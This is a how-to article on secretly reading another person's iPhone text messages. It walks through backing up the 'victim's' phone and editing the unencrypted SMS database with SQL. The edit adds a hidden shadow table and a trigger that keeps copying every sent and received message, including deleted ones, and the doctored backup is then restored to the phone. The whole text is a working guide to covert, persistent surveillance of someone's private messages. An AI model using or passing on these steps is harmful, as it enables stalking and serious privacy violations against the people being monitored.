How to Read an iPhone User's Text Messages Without Jailbreaking the iPhone

How to Read an iPhone User's Text Messages Without Jailbreaking the iPhone

Perhaps you need to resort to questionable measures to read someone's iPhone texts. Here's how:



Steps


1. Access to computer that the iPhone backs up to.

2. Non-encrypted backup of iPhone (see picture)

3. SQLite browser (free)

4. A few minutes access to phone and laptop.

5. Connect the "victims" iPhone to the computer and let it backup.

6. Navigate to the backup location. (WindowsXP is c:\documents and settings\%username%\application data\apple computer\mobilesync\backup)

7. Open the most recent backup folder. You can determine this by the modify date.

8. Grab the file labeled 3d0d7e5fb2ce288813306e4d4636395e047a3d28

9. Add the file extension .db to this file and open it with SQLite Browser.

10. You are now opening the DB of the sms messages! But there is still more to do. Go to the Execute SQL tab of SQLite Browser and execute this line by line:

11. CREATE TABLE shadow (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace INTEGER, svc_center TEXT, group_id INTEGER, association_id INTEGER, height INTEGER, UIFlags INTEGER, version INTEGER, subject TEXT, country TEXT, headers BLOB, recipients BLOB, read INTEGER)

12. Insert into shadow select * from message

13. CREATE TRIGGER CopyT After INSERT ON message BEGIN INSERT INTO shadow (address,date,text,flags) VALUES (new.address,new.date,new.text,new.flags); END

14. This code will add a table called shadow, copy all existing text to the table, then will insert a text message whenever one is received or sent (so the text will be in this table even after the "victim" deletes the text) Save the file.

15. Remove the .db extension

16. Restore the iPhone from backup (since you took a backup when you connected, everything should be the same on the phone when restored)

17. Let the "victim" use the phone. If you want to read text messages later, you just need to open the most recent backup file and view the shadow table.